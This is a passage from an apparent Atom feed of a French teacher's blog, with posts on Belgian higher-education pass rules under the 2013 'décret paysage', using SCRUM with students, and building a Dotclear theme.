&lt;p&gt;Depuis quelques années, il est possible d&amp;rsquo;obtenir une &lt;strong&gt;réussite à 48 crédits&lt;/strong&gt;. Cette mesure permet de passer dans l&amp;rsquo;année supérieure même si l&amp;rsquo;on n&amp;rsquo;a pas réussi tous les cours… il s&amp;rsquo;en suit un programme plus chargé l&amp;rsquo;année suivante. (Si tu n&amp;rsquo;as pas réussi à obtenir tes 60 crédits, nous t&amp;rsquo;en donnons plus l&amp;rsquo;année d&amp;rsquo;après. Par contre, si tu as réussi, on t&amp;rsquo;en redonne 60 🙃).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;De la réussite &amp;ldquo;à 48 crédits&amp;rdquo;&lt;/strong&gt; Au terme de la seconde session, le jury d&amp;rsquo;examens prononce la réussite d&amp;rsquo;une année d&amp;rsquo;études non diplômante dès que l&amp;rsquo;étudiant a acquis durant cette année d&amp;rsquo;études un ensemble d&amp;rsquo;au moins 48 crédits pour chacun desquels il a obtenu au moins 50 % des points et pour l&amp;rsquo;ensemble desquels il a totalisé au moins 60 % des points, pour autant qu&amp;rsquo;aucun des 12 crédits résiduels n&amp;rsquo;ait été défini comme prérequis nécessaire à la poursuite des études.&lt;/p&gt;
&lt;p&gt;Cette réussite peut également être prononcée à titre tout à fait exceptionnel à l&amp;rsquo;issue de la 1e session (voir point 5).&lt;/p&gt;
&lt;p&gt;(Extrait du règlement des études [&lt;a href="http://www.heb.be/documents/RDE.pdf"&gt;pdf&lt;/a&gt;])&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Au fil des années, je constate que le profil des étudiants de deuxième et de troisième est différent puisque je vois arriver au cours de Java deuxième par exemple des étudiants n&amp;rsquo;ayant pas réussi le cours de Java de première !&lt;/p&gt;
&lt;p&gt;Nous aurions peut-être dû user de la possibilité de déclarer des cours comme étant « prérequis » pour le cours de l&amp;rsquo;année suivante. Nous ne l&amp;rsquo;avons pas fait à l&amp;rsquo;époque, j&amp;rsquo;imagine que nous y viendrons prochainement.&lt;/p&gt;
&lt;h3&gt;Et voilà le décret paysage …&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://www.jcmarcourt.be/actualite/politique/retour-sur-le-nouveau-paysage-de-l-enseignement-superieur.htm"&gt;Jean-Claude Marcourt&lt;/a&gt; l&amp;rsquo;annonce, le &lt;strong&gt;projet de décret définissant le paysage de l&amp;rsquo;enseignement supérieur et l&amp;rsquo;organisation académique des études&lt;/strong&gt; a été adopté le 18 juillet 2013 et sera d&amp;rsquo;application dès la rentrée 2014.&lt;/p&gt;
&lt;p&gt;Le décret &lt;em&gt;va permettre aux étudiants d’accomplir un parcours couronné de succès&lt;/em&gt; (sic)… ça j&amp;rsquo;en suis sur !&lt;/p&gt;
&lt;p&gt;Le point le plus important… en tout cas celui qui sera le plus relayé à mon avis est &lt;strong&gt;la réussite à 10&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Article 129&lt;/strong&gt;. L&amp;rsquo;évaluation finale d&amp;rsquo;un enseignement s&amp;rsquo;exprime sous forme d&amp;rsquo;une note comprise entre 0 et 20, le seuil de réussite pour acquérir les crédits associés étant 10/20. Les crédits sont acquis de manière définitive. Un jury ne peut refuser d&amp;rsquo;octroyer les crédits associés aux épreuves pour lesquelles l&amp;rsquo;étudiant a atteint ce seuil de réussite.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;évaluation globale d&amp;rsquo;une année ou d&amp;rsquo;un cycle d&amp;rsquo;études s&amp;rsquo;exprime de la même façon, le seuil de réussite étant de 10/20 de moyenne pondérée.&lt;/p&gt;
&lt;p&gt;(Extrait du projet de décret joint)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Commentaire de l&amp;rsquo;article 129&lt;/strong&gt;. La norme de réussite d&amp;rsquo;une évaluation finale est définitivement fixée à 10/20. Ceci rend inutile toute réglementation de report de note.&lt;/p&gt;
&lt;p&gt;(Extrait du projet de décret joint)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cet article scelle le sort des dispenses à 12/20&lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; et de la nécessité d&amp;rsquo;avoir une moyenne (pondérée) de 12/20.&lt;/p&gt;
&lt;p&gt;La règle est simple: 10/20 et le module est réussi.&lt;/p&gt;
&lt;p&gt;On ne parlera plus de réussite à 48 crédits car cette réussite imposait de réussir jusqu&amp;rsquo;à 72 crédits l&amp;rsquo;année suivante ce qui était une aberration… mais on proposera à l&amp;rsquo;étudiant de se faire sa liste de crédits pour son année d&amp;rsquo;étude. C&amp;rsquo;est ce qui se faisait un peu dans la pratique (l&amp;rsquo;étudiant est forcé de choisir dans ses ≤ 72 crédits ceux qu&amp;rsquo;il peut réussir puisqu&amp;rsquo;il est difficile de réussir une année d&amp;rsquo;étude plus chargée que les autres).&lt;/p&gt;
&lt;p&gt;Le décret ne semble pas parler de l&amp;rsquo;organisation qu&amp;rsquo;il faudra mettre en place. Sans vouloir être alarmiste, il est clair que les contraintes d&amp;rsquo;horaire et de locaux engendreront quelques collisions.&lt;/p&gt;
&lt;p&gt;Le décret impose également une période &lt;strong&gt;d&amp;rsquo;évaluation à la fin de chaque quadrimestre&lt;/strong&gt;. Nous serons donc obligés d&amp;rsquo;organiser des examens (partiels) en janvier…&lt;/p&gt;
&lt;p&gt;… chose que l&amp;rsquo;on évitait parfois de faire en première année parce que l&amp;rsquo;échec à cette épreuve a peu d&amp;rsquo;impact sur la suite puisque cette partie peut être représentée en juin. Et en septembre.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est toujours le cas.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Article 140&lt;/strong&gt;. - Pour les étudiants de première génération, un échec aux épreuves du premier quadrimestre est sans conséquence. De plus, ils peuvent choisir d&amp;rsquo;alléger leur programme, de suivre des activités de remédiation ou de se réorienter au vu de leurs premiers résultats.&lt;/p&gt;
&lt;p&gt;(Extrait du projet de décret joint)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;— J&amp;rsquo;ai raté l&amp;rsquo;examen de janvier… parce que je n&amp;rsquo;ai pas travaillé.&lt;/p&gt;
&lt;p&gt;Comme rater un examen en janvier a peu d&amp;rsquo;impact puisqu&amp;rsquo;on peut le représenter en juin, cela implique que certains étudiants ne mettent pas en œuvre ce qu&amp;rsquo;il faut pour le réussir. S&amp;rsquo;ils échouent, peu se remettent en question.&lt;/p&gt;
&lt;p&gt;Donner la possibilité de se réorienter en janvier ou de se concocter un programme adapté pour le second quadrimestre est une bonne idée. J&amp;rsquo;ai, par contre, peur que les étudiants n&amp;rsquo;aient pas le recul pour choisir un programme adapté en cas d&amp;rsquo;échec en janvier&lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Les étudiants de première génération en situation d&amp;rsquo;échec grave aux épreuves de fin de premier quadrimestre, c&amp;rsquo;est-à-dire dont la moyenne pondérée des résultats est inférieure à 10/20 (sic)&lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; &lt;strong&gt;peuvent bénéficier d&amp;rsquo;un programme adapté pour les quadrimestres qui suivent&lt;/strong&gt; à moins que le jury ne leur propose des activités complémentaires de remédiation qui feront partie de l&amp;rsquo;évaluation.&lt;/p&gt;
&lt;p&gt;Cet article 140 rejoint &lt;a href="2012-01-09-Bob-a-rate-medecine.html"&gt;l&amp;rsquo;idée de « Bob »&lt;/a&gt; de proposer à nos étudiants en difficulté au mois de janvier de suivre des cours de logique et langage de programmation supplémentaires afin de permettre la réussite de certains cours dès la première année… puisque la réussite totale semble compromise.&lt;/p&gt;
&lt;p&gt;Conclure de manière carrée en disant « c&amp;rsquo;est mal » ou « c&amp;rsquo;est bien » n&amp;rsquo;est jamais bon.&lt;/p&gt;
&lt;p&gt;Imposer d&amp;rsquo;avoir une moyenne de 12/20 pour l&amp;rsquo;ensemble de l&amp;rsquo;épreuve était pour moi, gage que l&amp;rsquo;étudiant &lt;strong&gt;satisfaisait dans l&amp;rsquo;ensemble&lt;/strong&gt; même s&amp;rsquo;il obtenait des résultats juste suffisants dans certains cours. Aujourd&amp;rsquo;hui (demain en fait), on lui demande simplement d&amp;rsquo;avoir des résultats suffisants.&lt;/p&gt;
&lt;p&gt;Permettre aux étudiants en difficulté en janvier de choisir un parcours adapté afin de mettre toutes les chances de leur côté pour réussir quelques crédits est une très bonne idée… dont il faudrait évaluer le coût. Est-ce « juste »&lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt; de proposer un encadrement supplémentaire — au détriment des autres étudiants – à ceux qui sont en difficultés dès la première… alors qu&amp;rsquo;il manque de maçons ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité jeudi&lt;/strong&gt; On en parle aussi dans la revue &lt;a href="http://www.enseignement.be/index.php?page=25869&amp;amp;pu_ref=19"&gt;PROF n°19&lt;/a&gt;. &lt;img alt="screenshot-prof-1.png" src="images/screenshot-prof-1.png" title="screenshot-prof-1.png, oct. 2013"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité jeudi (7 nov 2013)&lt;/strong&gt; Le décret paysage est adopté au parlement (voir annonce Belga en annexe)&lt;/p&gt;
&lt;p&gt;… la discussion continue dans le &lt;a href="2013-11-13-decret-paysage-marcourt-2.html"&gt;décret paysage, deuxième&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Fédération Wallonie-Bruxelles, le Parlement – &lt;a href="http://www.pfwb.be/le-travail-du-parlement/doc-et-pub/documents-parlementaires-et-decrets/documents/001408274"&gt;Projet de décret définissant le paysage de l&amp;rsquo;enseignement supérieur et l&amp;rsquo;organisation académique des études&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.jcmarcourt.be/actualite/politique/retour-sur-le-nouveau-paysage-de-l-enseignement-superieur.htm"&gt;Jean-Claude Marcourt, Retour sur le nouveau paysage de l&amp;rsquo;enseignement supérieur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.enseignement.be/index.php?page=25869&amp;amp;pu_ref=19"&gt;PROF n°19&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez 500px par &lt;a href="http://500px.com/DaGeo"&gt;Geo Messmer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Annexes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.namok.be/public/documents/decret-paysage-18juillet2013.pdf" title="decret-paysage-18juillet2013.pdf (1.02 MB)"&gt;decret-paysage-18juillet2013.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.namok.be/public/documents/20131001-La_reussite_a_10.pdf" title="20131001-La_reussite_a_10.pdf (219.46 KB)"&gt;20131001-La_reussite_a_10.pdf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.namok.be/public/documents/20131107-1381-SUP-DecretPaysageApprouveauParlement.pdf" title="20131107-1381-SUP-DecretPaysageApprouveauParlement.pdf (53.08 KB)"&gt;20131107-1381-SUP-DecretPaysageApprouveauParlement.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Non pas parce que c&amp;rsquo;est celle qu&amp;rsquo;il y a chez nous, simplement parce que c&amp;rsquo;est celle que j&amp;rsquo;entends le plus. Elle peut varier un peu, mais l&amp;rsquo;idée est là.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Ce qui ne me dérange pas ceci dit&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Ça fait belle lurette que l&amp;rsquo;on ne parle plus de dispense à 14/20 … j&amp;rsquo;ai ce souvenir … j&amp;rsquo;ai bon ? certains l&amp;rsquo;ont connue ?&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;C&amp;rsquo;est probablement notre rôle de les orienter … mais j&amp;rsquo;y crois peu.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Notez que ≥10/20 l&amp;rsquo;étudiant est en situation de réussite et &amp;lt;10/20, il est en situation d&amp;rsquo;échec grave ! (J&amp;rsquo;ai cru voir (&lt;a href="http://archive.pfwb.be/1000000010ce0a3"&gt;pdf&lt;/a&gt;) que le mot grave allait disparaitre dans la version définitive).&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;D&amp;rsquo;accord, on sait que la vie n&amp;rsquo;est pas juste et les études non plus mais bon !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>SCRUM for student</title><link href="http://blog.namok.be/2013-09-24-scrum-for-student.html" rel="alternate"/><published>2013-09-24T00:00:00+02:00</published><updated>2013-09-24T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-09-24:/2013-09-24-scrum-for-student.html</id><summary type="html">SCRUM for student</summary><content type="html">&lt;p&gt;SCRUM fait partie des méthodologies dites « agiles » en ce sens que l&amp;rsquo;équipe en charge d&amp;rsquo;un projet (informatique ou pas) doit avoir l&amp;rsquo;agilité suffisante pour réagir aux différents changements pouvant survenir en cours de réalisation.&lt;/p&gt;
&lt;p&gt;&lt;img alt="scrum_by_MajorDisaster.jpg" src="images/scrum_by_MajorDisaster.jpg" title="scrum_by_MajorDisaster.jpg, sept. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Le planning de réalisation d&amp;rsquo;un projet n&amp;rsquo;est plus figé dans le temps des mois à l&amp;rsquo;avance. L&amp;rsquo;équipe va travailler par petites itérations successives. À la fin de chacune d&amp;rsquo;entre elles l&amp;rsquo;équipe et le client se repositionnent et définissent ensemble la prochaine itération… on parlera de &lt;em&gt;sprint&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;La méthodologie est bien décrite sur le site du projet &lt;a href="http://scrum.org/"&gt;scrum.org&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Les points qui m&amp;rsquo;ont dès le départ séduits sont :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;développement par petites itérations;&lt;/li&gt;
&lt;li&gt;c&amp;rsquo;est l&amp;rsquo;équipe au complet qui est responsable de la réussite (ou de l&amp;rsquo;échec) du projet;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;If project fail… team fail&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;l&amp;rsquo;équipe est pluridisciplinaire;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La méthodologie tend à accroitre le niveau de compétence de l&amp;rsquo;équipe sans hiérarchiser et en évitant que certains se cantonnent à certaines tâches. Personne n&amp;rsquo;est indispensable …&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la méthodologie intègre l&amp;rsquo;équipe au projet, ce qui suscite la créativité et l&amp;rsquo;estime de soi;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi ne pas essayer de faire de même en classe ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je suis responsable du produit. Le produit, ce sont tous les concepts que j&amp;rsquo;aimerais développer.&lt;/p&gt;
&lt;p&gt;Je peux facilement découper le travail en petites itérations successives. Les &lt;em&gt;sprint&lt;/em&gt; de quelques heures peuvent motiver et casser la monotonie « Une séance - un exercice ». Les &lt;em&gt;stand up daily scrum&lt;/em&gt; peuvent relancer et sortir l&amp;rsquo;étudiant du « je m&amp;rsquo;assied et j&amp;rsquo;attends ».&lt;/p&gt;
&lt;p&gt;Bref, je tente l&amp;rsquo;expérience en présentant &lt;strong&gt;SCRUM for students&lt;/strong&gt;&lt;/p&gt;
&lt;iframe src="https://www.slideshare.net/slideshow/embed_code/key/4oq6Z5JMOxHZLr?startSlide=1" width="597" height="486" frameborder="0"   marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px;   margin-bottom:5px;max-width: 100%;" allowfullscreen&gt;&lt;/iframe&gt;
&lt;div style="margin-bottom:5px"&gt;&lt;strong&gt;&lt;a href="https://www.slideshare.net/PierreBETTENS/si-scrum-for-students" title="HEB ÉSI - SCRUM for students" target="_blank"&gt;HEB ÉSI - SCRUM for students&lt;/a&gt;&lt;/strong&gt; from &lt;strong&gt;&lt;a href="https://fr.slideshare.net/PierreBETTENS" target="_blank"&gt;Pierre BT&lt;/a&gt;&lt;/strong&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;&lt;a href="https://fr.slideshare.net/PierreBETTENS/si-scrum-for-students"&gt;Lien vers slideshare&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;N&amp;rsquo;hésitez pas à partager et / ou à me faire un retour …&lt;/p&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.scrum.org/"&gt;scrum.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://scrumtrainingseries.com/"&gt;Scrum training series&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://agile.dzone.com/articles/how-make-scrum-fail"&gt;How make SCRUM fail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Crédit photo, devianart par &lt;a href="http://majordisaster.deviantart.com/"&gt;MajorDisaster&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="pdf//esi-scrumforstudents.pdf" title="esi-scrumforstudents.pdf"&gt;Télécharger le PDF&lt;/a&gt;  (1.34 MB)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Mine13 - Proposer un thème pour Dotclear</title><link href="http://blog.namok.be/2013-09-23-mine13-theme-dotclear.html" rel="alternate"/><published>2013-09-23T00:00:00+02:00</published><updated>2013-09-23T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-09-23:/2013-09-23-mine13-theme-dotclear.html</id><summary type="html">Mine13 - Proposer un thème pour Dotclear</summary><content type="html">&lt;p&gt;Un soir l&amp;rsquo;idée m&amp;rsquo;est venue crénom de nom… de créer un thème dotclear à partir de rien plutôt que de modifier de l&amp;rsquo;existant.&lt;/p&gt;
&lt;p&gt;&lt;img alt="The_Door_by_Yasny_chan.jpg" src="/images/The_Door_by_Yasny_chan.jpg" title="The_Door_by_Yasny_chan.jpg, sept. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;avais jadis bidouillé mon thème sur base des &lt;a href="http://themes.dotaddict.org/post/Aorakits"&gt;Aorakit de Kozlika&lt;/a&gt; et je voulais, suite à &lt;a href="http://fr.dotclear.org/blog/post/2013/07/09/42"&gt;l&amp;rsquo;appel 42&lt;/a&gt; en autre, le revoir et en proposer un qui soit très (encore plus que l&amp;rsquo;actuel) épuré et surtout &lt;strong&gt;responsive&lt;/strong&gt;. Tout ça &lt;em&gt;from scractch&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Mes connaissances en CSS sont assez basiques et faire un design &lt;em&gt;responsive&lt;/em&gt; n&amp;rsquo;est pas si simple qu&amp;rsquo;il n&amp;rsquo;y parrait. Sur le chan IRC de dotclear, j&amp;rsquo;ai vu passer &lt;a href="http://knacss.org"&gt;Knacss&lt;/a&gt; qui offre une feuille de style permettant de « bien commencer ».&lt;/p&gt;
&lt;p&gt;Armé de ce Knacss et de la &lt;a href="http://fr.dotclear.org/documentation/2.0/resources/themes"&gt;doc dotclear&lt;/a&gt;, on peut commencer.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;abord dire que c&amp;rsquo;est commencé en créant un répertoire pour son thème et en y ajoutant un fichier &lt;code&gt;_define.php&lt;/code&gt; à l&amp;rsquo;allure suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="c1"&gt;# ***** BEGIN LICENSE BLOCK *****&lt;/span&gt;
&lt;span class="c1"&gt;# …&lt;/span&gt;
&lt;span class="c1"&gt;# ***** END LICENSE BLOCK *****&lt;/span&gt;

&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;registerModule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="cm"&gt;/* Name */&lt;/span&gt;     &lt;span class="s2"&gt;&amp;quot;Mon beau thème&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="cm"&gt;/* Description*/&lt;/span&gt;   &lt;span class="s2"&gt;&amp;quot;Responsive 1 colonne, très simple&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="cm"&gt;/* Author */&lt;/span&gt;       &lt;span class="s2"&gt;&amp;quot;Juste Leblanc&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="cm"&gt;/* Version */&lt;/span&gt;      &lt;span class="s1"&gt;&amp;#39;0.0.0.0.1&amp;#39;&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dans le répertoire de mon thème doit apparaitre un répertoire &lt;code&gt;tpl&lt;/code&gt; contenant tous les templates utiles à dotclear. Ces templates sont nommés en fonction de leur usage: &lt;code&gt;post.html&lt;/code&gt; utilisé pour l&amp;rsquo;affichage d&amp;rsquo;un billet, &lt;code&gt;home.html&lt;/code&gt; pour l&amp;rsquo;affichage de la page &lt;em&gt;home&lt;/em&gt;… Les templates par défaut se trouvent dans &lt;code&gt;inc/public/default-templates&lt;/code&gt; pour les templates de base. Les autres, s&amp;rsquo;ils proviennent d&amp;rsquo;un plugin se trouvent dans &lt;code&gt;plugin/&amp;lt;leplugin&amp;gt;/default-template&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;La magie de dotclear est telle que si un template n&amp;rsquo;apparait pas dans le répertoire &lt;code&gt;tpl&lt;/code&gt; du thème, c&amp;rsquo;est le template par défaut qui est utilisé.&lt;/p&gt;
&lt;p&gt;La manière la plus simple de créer un thème est donc de créer un fichier &lt;code&gt;_define.php&lt;/code&gt; et un fichier &lt;code&gt;style.css&lt;/code&gt; sans créer de template. Le thème utilisera les templates par défaut et les modifications de style ne se trouveront que dans la feuille de style. C&amp;rsquo;est bien.&lt;/p&gt;
&lt;p&gt;Le fonctionnement de Knacss est un peu différent (et un peu controversé): plutôt que de définir un style &lt;code&gt;.sidebar {…}&lt;/code&gt; dans ma feuille de style précisant où et comment doit s&amp;rsquo;afficher la &lt;em&gt;sidebar&lt;/em&gt; par exemple, je vais utiliser des styles prédéfinis par Knacss dans le template de dotclear pour mettre en forme cette sidebar.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;C&amp;rsquo;est un peu comme si, dans un document LibreOffice&lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;1&lt;/a&gt;&lt;/sup&gt; je n&amp;rsquo;utilise pas trop les styles mais je mets les paragraphes en forme au fur et à mesure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dans le cas de LibreOffice, &lt;strong&gt;c&amp;rsquo;est très mal&lt;/strong&gt; ! Dans le cas de pages html, je trouve ça moyen mais dans le cas de templates, je trouve que c&amp;rsquo;est acceptable. Puisque l&amp;rsquo;on ne touche jamais aux templates, je suis sur que mon rendu sera identique pour toutes les pages de mon site.&lt;/p&gt;
&lt;p&gt;Par contre… ça m&amp;rsquo;impose de passer en revue tout les templates…&lt;/p&gt;
&lt;p&gt;Les particularités de ce design:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;suppression de la sidebar et de la navbar;&lt;/li&gt;
&lt;li&gt;ajout d&amp;rsquo;une signature dans le bas du billet, qu&amp;rsquo;il faut mettre à jour à la main&lt;/li&gt;
&lt;li&gt;ajout du fichier _config.php qui permettra d&amp;rsquo;éditer le thème en ligne&lt;/li&gt;
&lt;li&gt;nécessite le plugin &lt;strong&gt;Gravatar&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;j&amp;rsquo;utilise Disqus pour les commentaires&lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il reste a ajouter un fichier &lt;code&gt;screenshot.jpg&lt;/code&gt; afin que l&amp;rsquo;utilisateur puisse voir à quoi ça ressemble.&lt;/p&gt;
&lt;p&gt;Le thème va encore évoluer… je ne sais pas s&amp;rsquo;il arrivera un jour dans les thèmes « officiels ».&lt;/p&gt;
&lt;p&gt;Il s&amp;rsquo;appelle &lt;strong&gt;Mine 13&lt;/strong&gt; et est &lt;a href="https://bitbucket.org/pinkilla/dotclear-theme-mine13"&gt;disponible sur Bitbucket&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://themes.dotaddict.org/post/Aorakits"&gt;Aorakit&lt;/a&gt;  &lt;br&gt;
&lt;a href="http://www.kozlika.org/kozeries/"&gt;Kozlika&lt;/a&gt;  &lt;br&gt;
&lt;a href="http://knacss.org"&gt;Knacss&lt;/a&gt;&lt;br&gt;
&lt;a href="http://fr.dotclear.org/documentation/2.0/resources/themes"&gt;doc dotclear&lt;/a&gt;&lt;br&gt;
Crédit photo DevianArt par Yasn Chan  &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;MS Word en mieux&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Il faudra que je trouve un moyen de permettre la configuration de cet aspect si je veux diffuser le thème&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Ce sont les profs qui s'y collent…</title><link href="http://blog.namok.be/2013-08-22-ce-sont-les-profs-qui-s-y-collent.html" rel="alternate"/><published>2013-08-22T00:00:00+02:00</published><updated>2013-08-22T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-08-22:/2013-08-22-ce-sont-les-profs-qui-s-y-collent.html</id><summary type="html">Ce sont les profs qui s'y collent…</summary><content type="html">&lt;p&gt;&lt;img alt="Before_its_too_Late_by_RyuzakiLivesOn.jpg" src="/images/Before_its_too_Late_by_RyuzakiLivesOn.jpg" title="Before_its_too_Late_by_RyuzakiLivesOn.jpg, août 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;En général, les profs posent les questions et les étudiants tentent d&amp;rsquo;y répondre tant bien que mal.&lt;/p&gt;
&lt;p&gt;Parfois le résultat général n&amp;rsquo;est pas à la hauteur des attentes. Outre les classiques remises en question au sujet de la manière d&amp;rsquo;enseigner, du niveau d&amp;rsquo;exigences… nous nous sommes dit que ce serait bien que nous fassions nous-même &lt;strong&gt;l&amp;rsquo;exercice de l&amp;rsquo;examen&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;À froid !&lt;/p&gt;
&lt;p&gt;Comme ça, sans se préparer…&lt;/p&gt;
&lt;p&gt;Nous l&amp;rsquo;avons tous &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; fait avec nos sensibilités et nos attentes un peu différentes…&lt;/p&gt;
